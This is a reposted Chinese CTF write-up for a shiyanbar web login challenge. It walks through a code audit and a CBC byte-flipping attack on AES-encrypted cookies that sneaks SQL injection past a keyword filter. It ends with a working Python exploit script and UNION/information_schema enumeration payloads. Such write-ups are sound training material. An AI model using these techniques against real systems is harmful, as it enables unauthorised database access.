CTF_WP-实验吧-简单的登录题

原题地址:http://shiyanbar.com/ctf/2037

一、一点感想

这道题50分,在实验吧练习场算比较高分,而且通过率只有14%,比较低的水平。

看到这两个数据,一开始就心生惬意,实在不应该呀!

也是因为心态原因,在发现test.php之后,自以为在SQL注入时只要能截断后面的SQL语句,FLAG就在user里面,尝试了一段时间SQL注入都失败后,有些急躁,然后就早早拜读了pcat大神的攻略。。。

在攻略的帮助下,顺利完成题目。

所以本文主要是在pcat大神的指导下完成,放出来只是想分享一下历程和自我总结。

若有不正之处,还请路过的各位大神不吝指出。

二、事后复盘

心态很重要,关键是享受学习的过程,而不是追求结果,这样的心态才能不知不觉之间势如破竹,而一旦有了得失心,思绪就会被扰乱,进而急躁,就算能得到结果但其实是无用功。

因此,切记:无论是平时还是应试,要保持学习、平和的心态!!!

三、做题过程

1、审题目:《简单的登录》,没有暴露任何信息(有些题目可能透露一些加密算法名字之类)

《CTF_WP-实验吧-简单的登录题》

2、看题型:Web,简单经典的登录框界面,情不自禁耍起了Web套路:看下源代码,无异常;御剑扫后台,让它扫着的同时继续尝试其他方法;用Burp截获报文,修改id为admin之类敏感字眼,提交表单,看服务器返回的信息,还是无异常;当还在尝试id变换不同敏感字眼时,发现服务器返回了一个tips: test.php;看来御剑也不用忙活了,直接进这个网页看看。

《CTF_WP-实验吧-简单的登录题》

3、得到一大串代码,接下来就是代码审计了。

《CTF_WP-实验吧-简单的登录题》

4、代码实现的流程

a、提交上来的id,先进行关键字的过滤,防止SQL注入,包括=、-、#、union、like、procedure等等,如果检测到这些敏感字符,则会直接die并返回显示Sql inject detected。

b、通过过滤的id,服务器会返回两个值:iv与cipher

iv:随机生成的16位值,再经过base64转码

cipher:id序列化、预设的SECRET_KEY(打码)、上面得到的iv值,三者经过aes-128-cbc加密得到cipher值

服务器把iv、cipher设置到cookie然后返回,顺便还显示了一个Hello!

c、如果Post给服务器的报文,没有包括id,而且cookie里有iv和cipher值,则进入函数show_homepage();

d、 show_homepage()大致过程:将iv、cipher经过base64解码,然后把预设的SECRET_KEY(打码)、iv、cipher经过aes-128-cbc解密,得到plain

e、如果plain无法反序列化,则die并返回plain的base64编码数据;如果可以序列化,则将id值拼接到sql语句中“select * from users limit .$info[‘id’]  ,0”,并提交到数据库,返回数据,并附在返回的Hello后。

5、从代码分析可以看出关键就在于这个sql语句 “select * from users limit .$info[‘id’] ,0”

正常的话,无论id输入什么值,都会无功而返,因此只能构造进行sql注入,具体要实现两点:

a、注释掉后面“,0”

b、id=1,从而构造为“select * from users limit  1”

注释做了很多尝试,由于过滤了#、–,所以尝试用%00,用Burp Repeater尝试,将id=1 %00,post提交,然后用返回的iv、cipher值,作为第二次的cookie,然后去掉“id=”再次post,结果能返回Hello!rootzz

(现在写出来比较简单,但是当时在不少细节上进了坑,得细心点看源代码啊)

(另外,从源代码来看,第二次无id Post时,并没有直接传入id,但尽然能得到rootzz,从这可以猜测:此时的id由cipher值解密得到,为后续进一步工作奠定了基础)

《CTF_WP-实验吧-简单的登录题》
《CTF_WP-实验吧-简单的登录题》

6、居然不是flag,如果是flag多好啊,就这样美好的结束了,但也许幸福就是来之不易的吧

而且如果就这样能解决战斗的啊,还有一串代码的功能就毫无永无之地了,依据多年的考试经验,题目肯定不会这样出的,因此仔细分析源代码的逻辑,发现有个漏洞,虽然第一次提交id时,做了过滤,但是第二次提交iv和cipher值,是不会做过滤的,在这里跟pcat大神学习了,用cbc翻转一个字节进行攻击。具体如下:

a、提交能经过过滤检测的SQL语句,如id=12

b、结合得到的iv、cipher,用cbc字节翻转cipher对应id=12中2的字节,得到cipher_new,提交iv、cipher_new

c、第二次提交得到plain(如果忘了是啥可以往回看)

d、把iv、plain、‘id=12’序列第一行(16个字节为一行),进行异或操作,得到iv_new

e、把iv_new、cipher_new,去掉id=xx  post到服务器即可得到  id=1# 的结果,即Hello!rootzz

7、上一步成功达到偷梁换日的做法,下一步就是把id=12换成我们熟悉的SQL注入语句,在这里要注意的是:注释还是用%00,=用regexp代替,逗号用join代替,union用2nion代替,然后用cbc字节转换,把2换成u。值得注意的是cbc字节转换时的偏移量,最好自己写个php代码算一下前一行相应的位置。而具体代码完全参考pcat大神的做法,这里也贴出来,方便以后查看,再次感谢pcat,特别是在大神帖子留了几次问题,都能得到耐心的解答,谢谢!

《CTF_WP-实验吧-简单的登录题》

四、源码分享

# -*- coding:utf8 -*-

from base64 import *

import urllib

import requests

import re

def denglu(payload,idx,c1,c2):

    url=r’http://ctf5.shiyanbar.com/web/jiandan/index.php’

    payload = {‘id’: payload}

    r = requests.post(url, data=payload)

    Set_Cookie=r.headers[‘Set-Cookie’]

    iv=re.findall(r”iv=(.*?),”, Set_Cookie)[0]

    cipher=re.findall(r”cipher=(.*)”, Set_Cookie)[0]

    iv_raw = b64decode(urllib.unquote(iv))

    cipher_raw=b64decode(urllib.unquote(cipher))

    lst=list(cipher_raw)

    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

    cipher_new=”.join(lst)

    cipher_new=urllib.quote(b64encode(cipher_new))

    cookie_new={‘iv’: iv,’cipher’:cipher_new}

    r = requests.post(url, cookies=cookie_new)

    cont=r.content

    plain = re.findall(r”base64_decode\(‘(.*?)’\)”, cont)[0]

    plain = b64decode(plain)

    first=’a:1:{s:2:”id”;s:’

    iv_new=”

    for i in range(16):

        iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

    iv_new = urllib.quote(b64encode(iv_new))

    cookie_new = {‘iv’: iv_new, ‘cipher’: cipher_new}

    r = requests.post(url, cookies=cookie_new)

    rcont = r.content

    print rcont

denglu(’12’,4,’2′,’#’)

denglu(‘0 2nion select * from((select 1)a join (select 2)b join (select 3)c);’+chr(0),6,’2′,’u’)

denglu(‘0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);’+chr(0),7,’2′,’u’)

denglu(“0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp ‘you_want’)b join (select 3)c);”+chr(0),7,’2′,’u’)

denglu(“0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);”+chr(0),6,’2′,’u’)

    原文作者:蓝天深处
    原文地址: https://www.jianshu.com/p/4c1e5d24d781
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞